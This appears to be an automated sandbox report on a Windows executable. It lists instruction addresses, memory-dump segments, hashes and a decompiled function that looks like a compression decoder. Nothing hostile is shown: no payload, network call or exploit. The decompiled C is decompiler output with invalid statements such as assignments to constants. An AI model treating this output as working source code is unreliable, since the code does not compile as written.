0x00406c76
0x00406c78
0x00406c7d
0x00406c80
0x00406c83
0x00406c87
0x00406c8e
0x00406c91
0x00406c98
0x00406c9c
0x00406ca4
0x00406ca4
0x00406ca4
0x00406c9e
0x00406c9e
0x00406c9e
0x00406c93
0x00406c93
0x00406c93
0x00406ca8
0x00406cab
0x00406cc9
0x00406ccb
0x00000000
0x00406cad
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb8
0x00406cb8
0x00406cb8
0x00406cbb
0x00406cbe
0x00406cc0
0x00406cc1
0x00406cc4
0x00000000
0x00406cc4
0x00000000
0x00406efa
0x00406efe
0x00406f1c
0x00406f1f
0x00406f26
0x00406f29
0x00406f2c
0x00406f2f
0x00406f32
0x00406f35
0x00406f37
0x00406f3e
0x00406f3f
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4a
0x00406f4f
0x00000000
0x00406f4f
0x00406f00
0x00406f03
0x00406f06
0x00406f10
0x00000000
0x00000000
0x00406f64
0x00406f68
0x00406f8b
0x00406f8e
0x00406f91
0x00406f9b
0x00406f6a
0x00406f6a
0x00406f6d
0x00406f70
0x00406f73
0x00406f80
0x00406f83
0x00406f83
0x00000000
0x00000000
0x00000000
0x00000000
0x00407018
0x0040701c
0x00407023
0x00407026
0x00407029
0x00407033
0x00000000
0x00407033
0x0040701e
0x00000000
0x00000000
0x0040703f
0x00407043
0x0040704a
0x0040704d
0x00407050
0x00407045
0x00407045
0x00407045
0x00407053
0x00407056
0x00407059
0x00407059
0x0040705c
0x0040705f
0x00000000
0x00000000
0x004070ff
0x004070ff
0x00407103
0x004074a1
0x00000000
0x004074a1
0x00407109
0x0040710c
0x0040710f
0x00407113
0x00407116
0x0040711c
0x0040711e
0x0040711e
0x0040711e
0x00407121
0x00407124
0x00000000
0x00000000
0x00406cf4
0x00406cf4
0x00406cf8
0x00407465
0x00000000
0x00407465
0x00406cfe
0x00406d01
0x00406d04
0x00406d08
0x00406d0b
0x00406d11
0x00406d13
0x00406d13
0x00406d13
0x00406d16
0x00406d19
0x00406d19
0x00406d1c
0x00406d1f
0x00000000
0x00000000
0x00406d25
0x00406d2b
0x00000000
0x00000000
0x00406d31
0x00406d31
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d42
0x00406d45
0x00406d47
0x00406d4d
0x00406d50
0x00406d53
0x00406d56
0x00406d59
0x00406d5c
0x00406d5f
0x00406d7b
0x00406d7e
0x00406d81
0x00406d84
0x00406d8b
0x00406d8f
0x00406d91
0x00406d95
0x00406d61
0x00406d61
0x00406d65
0x00406d6d
0x00406d72
0x00406d74
0x00406d76
0x00406d76
0x00406d98
0x00406d9f
0x00406da2
0x00000000
0x00406da8
0x00000000
0x00406da8
0x00000000
0x00406dad
0x00406dad
0x00406db1
0x00407471
0x00000000
0x00407471
0x00406db7
0x00406dba
0x00406dbd
0x00406dc1
0x00406dc4
0x00406dca
0x00406dcc
0x00406dcc
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd2
0x00406dd2
0x00406dd8
0x00000000
0x00000000
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406df8
0x00406e10
0x00406e13
0x00406e16
0x00406e19
0x00406e19
0x00406e1c
0x00406e20
0x00406e22
0x00406dfa
0x00406dfa
0x00406e02
0x00406e07
0x00406e09
0x00406e0b
0x00406e0b
0x00406e25
0x00406e2c
0x00406e2f
0x00000000
0x00406e31
0x00000000
0x00406e31
0x00406e2f
0x00406e36
0x00406e36
0x00406e36
0x00406e36
0x00000000
0x00000000
0x00406e71
0x00406e71
0x00406e75
0x0040747d
0x00000000
0x0040747d
0x00406e7b
0x00406e7e
0x00406e81
0x00406e85
0x00406e88
0x00406e8e
0x00406e90
0x00406e90
0x00406e90
0x00406e93
0x00406e96
0x00406e96
0x00406e9c
0x00406e3a
0x00406e3a
0x00406e3d
0x00000000
0x00406e3d
0x00406e9e
0x00406e9e
0x00406ea1
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406eb6
0x00406eb9
0x00406ebc
0x00406ed4
0x00406ed7
0x00406eda
0x00406edd
0x00406edd
0x00406ee0
0x00406ee4
0x00406ee6
0x00406ebe
0x00406ebe
0x00406ec6
0x00406ecb
0x00406ecd
0x00406ecf
0x00406ecf
0x00406ee9
0x00406ef0
0x00406ef3
0x00000000
0x00406ef5
0x00000000
0x00406ef5
0x00000000
0x00407182
0x00407182
0x00407186
0x004074ad
0x00000000
0x004074ad
0x0040718c
0x0040718f
0x00407192
0x00407196
0x00407199
0x0040719f
0x004071a1
0x004071a1
0x004071a1
0x004071a4
0x00000000
0x00000000
0x00000000
0x00000000
0x00407291
0x00407295
0x004072b7
0x004072ba
0x004072c4
0x00000000
0x004072c4
0x00407297
0x0040729a
0x0040729e
0x004072a1
0x004072a1
0x004072a4
0x00000000
0x00000000
0x0040734e
0x00407352
0x00407370
0x00407370
0x00407370
0x00407377
0x0040737e
0x00407385
0x00407385
0x00000000
0x00407385
0x00407354
0x00407357
0x0040735a
0x0040735d
0x00407364
0x004072a8
0x004072a8
0x004072ab
0x00000000
0x00000000
0x0040743f
0x00407442
0x00000000
0x00000000
0x00407079
0x0040707b
0x00407082
0x00407083
0x00407085
0x00407088
0x00000000
0x00000000
0x00407090
0x00407093
0x00407096
0x00407098
0x0040709a
0x0040709a
0x0040709b
0x0040709e
0x004070a5
0x004070a8
0x004070b6
0x00000000
0x00000000
0x0040738c
0x0040738c
0x0040738f
0x00407396
0x00000000
0x00000000
0x0040739b
0x0040739b
0x0040739f
0x004074d7
0x00000000
0x004074d7
0x004073a5
0x004073a8
0x004073ab
0x004073af
0x004073b2
0x004073b8
0x004073ba
0x004073ba
0x004073ba
0x004073bd
0x004073c0
0x004073c0
0x004073c0
0x004073c0
0x004073c3
0x004073c3
0x004073c7
0x00407427
0x0040742a
0x0040742f
0x00407430
0x00407432
0x00407434
0x00407437
0x00000000
0x00407437
0x004073c9
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073de
0x004073e1
0x004073e4
0x004073e7
0x004073ea
0x00407403
0x00407406
0x00407409
0x0040740c
0x00407410
0x00407412
0x00407412
0x00407413
0x00407416
0x004073ec
0x004073ec
0x004073f4
0x004073f9
0x004073fb
0x004073fe
0x004073fe
0x00407419
0x00407420
0x00000000
0x00407422
0x00000000
0x00407422
0x00000000
0x004070be
0x004070c1
0x004070f7
0x00407227
0x00407227
0x00407227
0x00407227
0x0040722a
0x0040722a
0x0040722d
0x0040722f
0x004074b9
0x00000000
0x004074b9
0x00407235
0x00407238
0x00000000
0x00000000
0x0040723e
0x00407242
0x00407245
0x00407245
0x00407245
0x00000000
0x00407245
0x004070c3
0x004070c5
0x004070c7
0x004070c9
0x004070cc
0x004070cd
0x004070cf
0x004070d1
0x004070d4
0x004070d7
0x004070ed
0x004070f2
0x0040712a
0x0040712a
0x0040712e
0x0040715a
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407169
0x0040716e
0x0040716e
0x00407170
0x00407173
0x0040717a
0x0040717d
0x004071aa
0x004071aa
0x004071ad
0x004071b0
0x00407224
0x00407224
0x00407224
0x00000000
0x00407224
0x004071b2
0x004071b8
0x004071bb
0x004071be
0x004071c1
0x004071c4
0x004071c7
0x004071ca
0x004071cd
0x004071d0
0x004071d3
0x004071ec
0x004071ee
0x004071f1
0x004071f2
0x004071f5
0x004071f7
0x004071fa
0x004071fc
0x004071fe
0x00407201
0x00407203
0x00407206
0x0040720a
0x0040720c
0x0040720c
0x0040720d
0x00407210
0x00407213
0x004071d5
0x004071d5
0x004071dd
0x004071e2
0x004071e4
0x004071e7
0x004071e7
0x00407216
0x0040721d
0x004071a7
0x004071a7
0x004071a7
0x004071a7
0x00000000
0x0040721f
0x00000000
0x0040721f
0x0040721d
0x00407130
0x00407133
0x00407135
0x00407138
0x0040713b
0x0040713e
0x00407140
0x00407143
0x00407146
0x00407146
0x00407149
0x00407149
0x0040714c
0x00407153
0x00407127
0x00407127
0x00407127
0x00407127
0x00000000
0x00407155
0x00000000
0x00407155
0x00407153
0x004070d9
0x004070dc
0x004070de
0x004070e1
0x00000000
0x00000000
0x00406e40
0x00406e40
0x00406e44
0x00407489
0x00000000
0x00407489
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x00406e69
0x00406e69
0x00406e69
0x00000000
0x00000000
0x00000000
0x00000000
0x00407248
0x00407248
0x00407248
0x0040724c
0x00000000
0x00000000
0x00407252
0x00407255
0x00407258
0x0040725b
0x0040725d
0x0040725d
0x0040725d
0x00407260
0x00407263
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407270
0x00407272
0x00407272
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x00407285
0x00407287
0x0040728a
0x00000000
0x0040728c
0x00000000
0x0040728c
0x0040728a
0x004074bf
0x00000000
0x00000000
0x00406aee

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction ID: f684c89e7032feabc3e3bde7c6855c560f6d73b68505d9943badace2bdbe07f8
Opcode Fuzzy Hash: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction Fuzzy Hash: CD814771D04228CFDF24CFA8C944BADBBB1FB44305F25816AD856BB281C7786986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00406AAC, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406AAC(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M004074FE))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
